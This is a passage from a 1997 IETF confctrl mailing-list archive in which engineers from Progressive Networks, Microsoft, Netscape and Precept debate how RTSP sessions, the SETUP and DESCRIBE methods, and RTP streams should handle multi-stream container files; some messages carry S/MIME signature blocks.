m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FAmCQFS0bIL7eWK4TILfu2B4qMyCMBwGCSqGSIb3DQEJBTEPFw05NzA2MjQwMTAwMDBaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABECRCvQil3MjfN5x
Pq1T5JFxAvcAXGrwx4bK/8Vj/685Aw5Sc1wRPlyi1Osfco6CZaKxqSKv3IAgc4M3ysXm2iJr

--------------ms0DC740E05678E4F65071C2A3--


From majordom@ISI.EDU  Mon Jun 23 20:15:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23518>; Tue, 24 Jun 1997 03:19:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23506>; Tue, 24 Jun 1997 03:19:03 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA18319>; Tue, 24 Jun 1997 03:19:02 -0700
Received: from dialnet8-21.cortland.com by murrow.prognet.com with SMTP id AA18848
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 24 Jun 1997 03:21:10 -0700
Received: by dialnet8-21.cortland.com with Microsoft Mail
	id <01BC804C.F3516980@dialnet8-21.cortland.com>; Tue, 24 Jun 1997 03:16:04 -0700
Message-Id: <01BC804C.F3516980@dialnet8-21.cortland.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: 'Eric Fleischman' <ericfl@MICROSOFT.com>
Cc: "'brad@prognet.com'" <brad@prognet.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>
Subject: RE: Relationship between RTSP URL and transport
Date: Tue, 24 Jun 1997 03:15:39 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric,

you wrote...

>> *	The belief that the spec should cleanly identify a way to have a
>> single RTSP session control a single logical presentation being carried
>> via multiple RTP sessions.

I think we need to be very clear about what we mean by "RTP session" in
this phrase. As I understand it, the phrase "RTP Session" as per the RTP
spec refers to an RTP stream targeting a single address/port combination.
Eric, is it actually your desire to have a single RTSP session control the
RTP streams flowing to multiple address/ports?

It seems to me that you are probably asking for a single RTSP session to
control the playback of multiple RTP streams that are targeting a single
address/port combination, much like a single NetShow control channel
can control a set of multiple streams targeting a single UDP address/port
combination.

Can you clarify?

>> *	The belief that that that single RTSP session should cleanly be
>> able to have both aggregate and per-RTP-session control of that logical
>> presentation.

You've given a couple vague examples of this per-RTP-session control, but
I'm not quite convinced a change to the spec is needed for you to implement
those features. For example you mention:

	>> to "mute" the audio 

	This feature should be primarily implemented on the client side as 
	part of the audio device integration. In general an end user will 
	be confused and disappointed if they don't get instantaneous response
	from the mute/un-mute feature. Our usability tests have shown that
	the latency introduced by actually turning on and off the stream
	produces more confusion than any additional value added by actually
	"stopping" a single stream of a multi-stream presentation.

	>> record the whiteboard at times
	
	Again, this is a client feature unrelated to the actual streaming of
	the bits. Whether or not you are recording the whiteboard feed, you
	probably still want to view it.

In general I think this is a reasonable "feature" to _not_ implement in v.1.0 
of the RTSP spec. (Let's avoid feature creep for something which can be 
implemented on the client side independent of the protocol.) When we do begin
to entertain the v.2.0 spec we should be able to easily add this as a PEP 
extension to the SETUP or other methods.

>> *	Dislike of the "gutless" SETUP method which I believe confuses
>> important aggregate control issues with self-imposed limitations.

Again, I don't think you've actually demonstrate to the group that SETUP
is deficient. If you reconsider your view on what it means to stream a 
multimedia file (like ASF or QuickTime or RealMedia) using RTSP, you will
see that the spec _does_ support the same level of support that both NetShow 
and the RealPlayer support for streaming multiple data streams to a single 
client side port as controlled by a single control session. Isn't this the
real issue?

>> *	Desire to supplement  (or replace) SETUP by the more-robust
>> DESCRIBE method which more cleanly integrates SDP-based setup
>> information and thereby establishes both the aggregate and the
>> per-RTP-session identities which can subsequently be controlled by the
>> same RTSP session. 

I'm a bit surprised by this position. Is it not clear that DESCRIBE's role 
in RTSP is to provide media stream initialization information? I don't think
anyone has ever suggested that protocol initialization related information 
should appear in the response to the DESCRIBE message, this is clearly the
job of the SETUP message. Again, as I tried to point out in my mail to the
group yesterday, I think we may have read too much into the suggestion that 
SDP be used as the "format" for the describe response. Let's not lose sight 
of what DESCRIBE's role in the protocol is.

Remember that the bulk of the DESCRIBE message's value comes from the
server telling the client about the characteristics of the media. In contrast 
the bulk of the SETUP message's value comes from the client telling the 
server about the characteristics of its network setup. These are clearly 
different tasks that are rightfully separate.

>> (If the spec wants to continue to be "presentation
>> agnostic" then you can substitute "proprietary or SDP-based" for
>> "SDP-based" in the previous sentence if such is its wish.)

Clearly we need to agree on formats we will all use in order to be 
interoperable, I think this language was intended to point out that since 
the C->S DESCRIBE method allows the specification of a "accept" header, 
the client and server can negotiate a format which is most useful for them 
both. This is not at all unreasonable and the concept has a strong foundation 
in HTTP. I don't think the "spirit" of the spec needs to be changed relative 
to this statement. Of course, there is always room for improvement in the 
"letter" of the spec.

On this note, it would probably be more useful for the group to expend
its efforts in defining the interoperable manner in which multiple streams
can be streamed to a single address/port.

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------



From majordom@ISI.EDU  Tue Jun 24 02:37:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06167>; Tue, 24 Jun 1997 09:59:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06161>; Tue, 24 Jun 1997 09:59:07 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02516>; Tue, 24 Jun 1997 09:59:06 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.49)
	id <NQ6K4G66>; Tue, 24 Jun 1997 10:00:45 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD760@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'anup@netscape.com'" <anup@netscape.com>
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        Alagu Periyannan
	 <alagu@apple.com>, confctrl@ISI.EDU
Subject: Single RTSP session to control multiple RTP streams
Date: Tue, 24 Jun 1997 09:37:47 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:

>Whats seems to be the issue of debate:
>"A single URL and single RTSP session to control multiple streams/RTP
>streams. "
>Is this something the group feels strongly for ?As pointed out(I
>think),  this is possible only when tied intricately with the session
>description itself - ie the interpretation of a control message
>referencing the URL is tied in with the session desc. This will also
>involve(as rightly pointed out by Eric and others a modified SETUP
>message).

Yes, I concur that this is the core issue of this debate.

Until last week, I had not seen any posting on this list questioning
that an original intent of this WG was to define a single RTSP session
which can control multiple (RTP) streams. Back in February (or was it
March??) when Henning described the RTSP protocol to the W3C
Synchronization Working group (in the presence of the other co-authors)
this usage was explicitly highlighted. Early list discussions also
confirmed this orientation and goal and I participated in more than one
discussion about this very topic.

Thus, the view from my knot-hole is that this goal is indeed a
historical target of this working group. However, I suspect that the
authors of the spec have been slowly drifting from this target as they
have considered the difficult synchronization problems which can occur
if the controlled multiple (RTP) streams are not bounded within the
constraints provided by SDP or SDP-like protocols (e.g., the
full-fledged synchronization problems addressed by approaches such as
RTSL). 

I also suspect that the conflict identified by Anup between the
recipient selecting the port address (a truly good idea) and the SDP
approach where the conference originator selects the port address (also
a good idea), coupled with belatedly discovered weaknesses in SETUP,
have encouraged this drift.

My suggestion to remedy this is to require that either SETUP or DESCRIBE
must be used. SETUP uses will permit the recipient to select the port
address. DESCRIBE uses will permit the conference originator to select
the port address(es). If both SETUP and DESCRIBE are used in the same
RTSP session then a potential conflict may occur if both are indicating
different addresses. This potential conflict needs to be handled in the
spec. 

From majordom@ISI.EDU  Wed Jun 25 06:23:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27322>; Wed, 25 Jun 1997 13:24:25 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27316>; Wed, 25 Jun 1997 13:24:24 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA04139>; Wed, 25 Jun 1997 13:24:22 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA10046
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 25 Jun 1997 13:26:44 -0700
Message-Id: <3.0.32.19970625132314.00cd8e4c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 25 Jun 1997 13:23:16 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Container files and various methods of dealing with them
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'd like to frame the current discussion we are having by separating the
various ways of streaming container files.

There are three scenarios that we are dealing with here:

1-1-1    One container file controlled by one RTSP session which streams to 
         one UDP port via RTP
1-1-n    One container file controlled by one RTSP session which streams to 
         n UDP ports via RTP
1-n-n    One container file controlled by n RTSP sessions which stream to 
         n UDP ports via RTP

1-1-1 has always been possible, and that is how PN plans to stream
container files.  The way that this is done in unicast is that the streams
are multiplexed using the SSRC, and the SSRC values are enumerated in the
session description.  It would probably be a good idea to do a more
rigorous definition of this.  If necessary for multicast, we could have
separate SSRC and a new field (added via standard RTP mechanism) so that
the SSRC selection and the stream id don't get mixed up.  A more rigorous
writeup is needed here.

1-1-n is not possible currently.  There are ways that I could imagine doing
this without changing the nature of the SETUP request/reply (which is
strictly an exchange of tranpsort information) and DESCRIBE (which is
strictly an exchange of media description information).  I'm opposed to
putting transport parameters in DESCRIBE when there are alternatives
available.  Rather than getting mired in how it should be done, the first
task is determining if 1-1-n is a requirement.

1-n-n is possible using the proposal that I made last Friday.  There are
still some subtleties of this that I hope don't get buried in the debate
above (for instance, should individual streams in a container have their
own URLs).  The need for 1-n-n streaming I believe is not contested.  The
whole point of being able to stream to multiple ports is to be able to
stream to different applications (which necessarily bind to different
ports).  When streaming to multiple applications, it is difficult to
conceive that anything less than full control will be needed for each of
the streams.


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Wed Jun 25 12:43:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19898>; Wed, 25 Jun 1997 20:08:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19892>; Wed, 25 Jun 1997 20:08:28 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA22400>; Wed, 25 Jun 1997 20:08:27 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA14905; Wed, 25 Jun 1997 19:44:33 -0700
Date: Wed, 25 Jun 1997 19:43:59 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: Container files and various methods of dealing with them
In-Reply-To: <3.0.32.19970625132314.00cd8e4c@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970625194343.-450409I-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 1-1-1 has always been possible, and that is how PN plans to stream
> container files.  The way that this is done in unicast is that the streams
> are multiplexed using the SSRC, and the SSRC values are enumerated in the
> session description.  It would probably be a good idea to do a more
> rigorous definition of this.  If necessary for multicast, we could have
> separate SSRC and a new field (added via standard RTP mechanism) so that
> the SSRC selection and the stream id don't get mixed up.  A more rigorous
> writeup is needed here.

I think this is a bad idea.  Section 5.2 of the RTP spec argues
against multiplexing multiple media into one RTP session for a list of
reasons.  Perhaps you could discount some of these for the unicast
case, but I think creating an RTP implementation that works only for
unicast is short-sighted.  Forcing SSRC id's to go into the session
description seems like a bad move to me.

Furthermore, I don't see how this avoids any of the hard problems that
arise in implementing 1-1-n or 1-n-n.  There still are individual
streams that you need to be able to control both individually and
collectively.  If it is just a matter of figuring out how to specify
the port numbers, that's got to be a solvable problem.

> 1-1-n is not possible currently.  There are ways that I could imagine doing
> this without changing the nature of the SETUP request/reply (which is
> strictly an exchange of tranpsort information) and DESCRIBE (which is
> strictly an exchange of media description information).  I'm opposed to
> putting transport parameters in DESCRIBE when there are alternatives
> available.

??? SDP has included transport parameters all along.

> The need for 1-n-n streaming I believe is not contested.  The
> whole point of being able to stream to multiple ports is to be able to
> stream to different applications (which necessarily bind to different
> ports).

No, section 5.2 lists several other reasons in addition to this.

							-- Steve


From majordom@ISI.EDU  Wed Jun 25 15:28:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25758>; Wed, 25 Jun 1997 22:31:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25751>; Wed, 25 Jun 1997 22:31:21 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA29609>; Wed, 25 Jun 1997 22:31:19 -0700
Received: from dialnet8-21.cortland.com (correro-PPP2.prognet.com) by murrow.prognet.com with SMTP id AA11918
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 25 Jun 1997 22:33:43 -0700
Received: by dialnet8-21.cortland.com with Microsoft Mail
	id <01BC81B7.15C28880@dialnet8-21.cortland.com>; Wed, 25 Jun 1997 22:28:20 -0700
Message-Id: <01BC81B7.15C28880@dialnet8-21.cortland.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: 'Stephen Casner' <casner@precept.com>, Rob Lanphier
	 <robla@prognet.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: Container files and various methods of dealing with them
Date: Wed, 25 Jun 1997 22:28:06 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Steve, A couple of days ago you replied to a mail message by talking about
a container file "...being streamed as one "homogenous blob"..." I assumed
that you were referring to the above description. Namely that when a container
file is being streamed in it entirety (as a presentation) then it makes sense
to stream it as a blob to a single port. 

Can you explain to the group what you meant?

>> 
>> > 1-1-1 has always been possible, and that is how PN plans to stream
>> > container files.  The way that this is done in unicast is that the streams
>> > are multiplexed using the SSRC, and the SSRC values are enumerated in the
>> > session description.  It would probably be a good idea to do a more
>> > rigorous definition of this.  If necessary for multicast, we could have
>> > separate SSRC and a new field (added via standard RTP mechanism) so that
>> > the SSRC selection and the stream id don't get mixed up.  A more rigorous
>> > writeup is needed here.
>> 
>> I think this is a bad idea.  Section 5.2 of the RTP spec argues
>> against multiplexing multiple media into one RTP session for a list of
>> reasons.  Perhaps you could discount some of these for the unicast
>> case, but I think creating an RTP implementation that works only for
>> unicast is short-sighted.  Forcing SSRC id's to go into the session
>> description seems like a bad move to me.

The 1-1-1 is a proven model. RealVideo, NetShow, V-Xtreme and VDO
(to name a few) all use this technique. Firewall authors will clearly prefer a
technology that implements 1-1-1 since it allows for straight forward 
implementations that associate single UDP sockets with a single control 
session.

It seems our goal as a group should be to define how we will make this
1-1-1 case (aka "homogeneous blob") correctly interoperate. I would 
prefer to see us not waste the SSRC field of the RTP header, but as Rob 
points out we could leave SSRC the same for all streams from the container
and use an extended RTP field to store the demultiplexing information. This 
seems like a real waste of bits to me.

I also think you're stretching a bit on the claim that this model breaks down
for multi-cast. It in fact does _not_ break down for multicast, as you should
note that many of the products I mentioned above also support multicast and 
I'd suspect they use a similar packet format (if not identical format) in the 
multicast and unicast cases. 

The real issue of using SSRCs as presented by Rob would be for the multiple 
sender case. It seems to me that the multiple sender case is out of the scope 
of RTSP. I believe the group has agreed for example that gateways should 
be used to "stream into conferences" and as such, the gateway can solve 
the SSRC mapping.

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------




From majordom@ISI.EDU  Wed Jun 25 15:50:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26624>; Wed, 25 Jun 1997 22:51:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26615>; Wed, 25 Jun 1997 22:51:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA00654>; Wed, 25 Jun 1997 22:51:03 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id WAA22169
	for <confctrl@ISI.EDU>; Wed, 25 Jun 1997 22:51:00 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA4671;
          Wed, 25 Jun 1997 22:50:59 -0700
Message-Id: <33B2033F.17338DAE@netscape.com>
Date: Wed, 25 Jun 1997 22:50:56 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: Container files and various methods of dealing with them
X-Priority: 3 (Normal)
References: <3.0.32.19970625132314.00cd8e4c@mail.prognet.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msB1EC31ADD82C10F9C5426B5B"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------msB1EC31ADD82C10F9C5426B5B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rob Lanphier wrote:

> I'd like to frame the current discussion we are having by separating
> the
> various ways of streaming container files.
>
> There are three scenarios that we are dealing with here:
>
> 1-1-1    One container file controlled by one RTSP session which
> streams to
>          one UDP port via RTP
> 1-1-n    One container file controlled by one RTSP session which
> streams to
>          n UDP ports via RTP
> 1-n-n    One container file controlled by n RTSP sessions which stream
> to
>          n UDP ports via RTP
>

I would urge that we view  this problem in a more general sense than a
"container file". A presentation comprised of two streams(particularly
if both were controlled and delivered by the same host) is also a
container. Clearly, in case of a container file where the actual streams
reside in a single physical file, there are  implementation, resource,
and efficiency considerations driving(I guess)  the need for 1-1-1.
However, from the RTSP point of view, they are really the same. Hence we
should try and consider them as such.

Could you also please elaborate on the reasoning for  1-1-1. I can think
of server resources and firewalls, is there anything else ?

-----------------------------------------------------------------
  Anup Rao
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------


--------------msB1EC31ADD82C10F9C5426B5B
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FBjmpoTZdnVwA1cpEdDsQdtvdzifMBwGCSqGSIb3DQEJBTEPFw05NzA2MjYwNTUwNThaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEAmpUyIx6cg9OOO
fmMPAlQxhXPEOJWhJiW+4sljBJt2a8wi1MZdbZcU+gCyIGJsVlG0w6ONfOTj3/USYd6znn+a

--------------msB1EC31ADD82C10F9C5426B5B--


From majordom@ISI.EDU  Thu Jun 26 12:27:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18659>; Thu, 26 Jun 1997 19:40:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18652>; Thu, 26 Jun 1997 19:40:20 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07982>; Thu, 26 Jun 1997 19:40:19 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id TAA22082; Thu, 26 Jun 1997 19:28:09 -0700
Date: Thu, 26 Jun 1997 19:27:36 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Rob Lanphier <robla@prognet.com>, "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: Container files and various methods of dealing with them
In-Reply-To: <01BC81B7.15C28880@dialnet8-21.cortland.com>
Message-Id: <Pine.WNT.3.95.970626192701.-450409R-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Brad,

> Steve, A couple of days ago you replied to a mail message by talking about
> a container file "...being streamed as one "homogenous blob"..." I assumed
> that you were referring to the above description. Namely that when a container
> file is being streamed in it entirety (as a presentation) then it makes sense
> to stream it as a blob to a single port. 

I quoted the term from the message to which I replied.  I was
referring to the transmission of a container file, such as an MPEG1
Systems Stream, or an ASF file as Eric Fleischman has argued for on
several occasions, as one RTP stream.  In this case, the container
file is already pre-multiplexed and chunks of it are transmitted as-is
across the network.  The primary motivation I have heard for this mode
of operation is to support large servers that cannot afford to do any
manipulation of the data coming from the file.

If the server can afford to manipulate the data, for example to pull
individual streams out of a container file (AVI, ASF, Elementary
Streams out of an MPEG System Streams file, or whatever), or if the
data is stored in separate files as Anup noted in his followup
message, then I argue that separate RTP sessions should be used for
the reasons discussed in the RTP spec:

  - An RTP mixer normally combines all the SSRCs it receives on an RTP
    session according to the composition method that is appropriate
    for that session (e.g. mixing for audio).  If multiple media are
    sent on one session, then the SSRCs must be segregated per medium
    based on external information.  That gets complicated with sources
    coming from multiple places.  It is similarly more complicated for
    and end node receiver to handle streams coming from multiple
    sources to the same RTP session if some of those sources don't all
    get fed to the same compositor (mixer, selector, whatever).

  - Carrying multiple media in one RTP session precludes the use of
    different network paths or network resource allocations if
    appropriate.  For the typical synchronized audio/video stream one
    may not want different paths, but it is not hard to imagine
    situations where one medium should go via a low-bandwidth,
    low-delay terrestrial path while another can tolerate the longer
    delay of a satellite path in order to get higher bandwidth.

  - Carrying multiple media in one RTP session precludes reception of
    a subset of the media if desired, for example just audio if video
    would exceed the available bandwidth.  This is not an issue for
    unicast since that choice of media would be controlled by the
    exchange with the sender, but it is valuable for multicast with
    heterogeneous receivers.

  - Carrying multiple media in one RTP session precludes receiver
    implementations that use separate processes for the different
    media, whereas using separate RTP sessions permits either single-
    or multiple-process implementations.  Consider the development of
    "desk area networks" at MIT, ISI and other places in which the
    display and the speaker may have different IP addresses.  This is
    an instance of the general philosophy of demultiplexing at the
    lowest level possible.

  - Also, making the SSRC fixed is a problem in the multicast case
    because collision resolution might require changing the SSRC id.

It is harder to accept these arguments if you don't believe multicast
is important.  But consider that RTSP might be used to stream material
into a teleconference, for example.

> The 1-1-1 is a proven model. RealVideo, NetShow, V-Xtreme and VDO
> (to name a few) all use this technique. Firewall authors will clearly prefer a
> technology that implements 1-1-1 since it allows for straight forward 
> implementations that associate single UDP sockets with a single control 
> session.

The hard part of feeding this data through the firewall is that you
need to communicate a UDP port number to the firewall and have an
association with a control session.  If you can communicate one port
number to the firewall, it is very little more work to communicate (or
store) several.

> It seems our goal as a group should be to define how we will make this
> 1-1-1 case (aka "homogeneous blob") correctly interoperate. I would 
> prefer to see us not waste the SSRC field of the RTP header, but as Rob 
> points out we could leave SSRC the same for all streams from the container
> and use an extended RTP field to store the demultiplexing information. This 
> seems like a real waste of bits to me.

For the already multiplexed file, this latter method is essentially
what happens, but in that case it is preferred (by some) because of
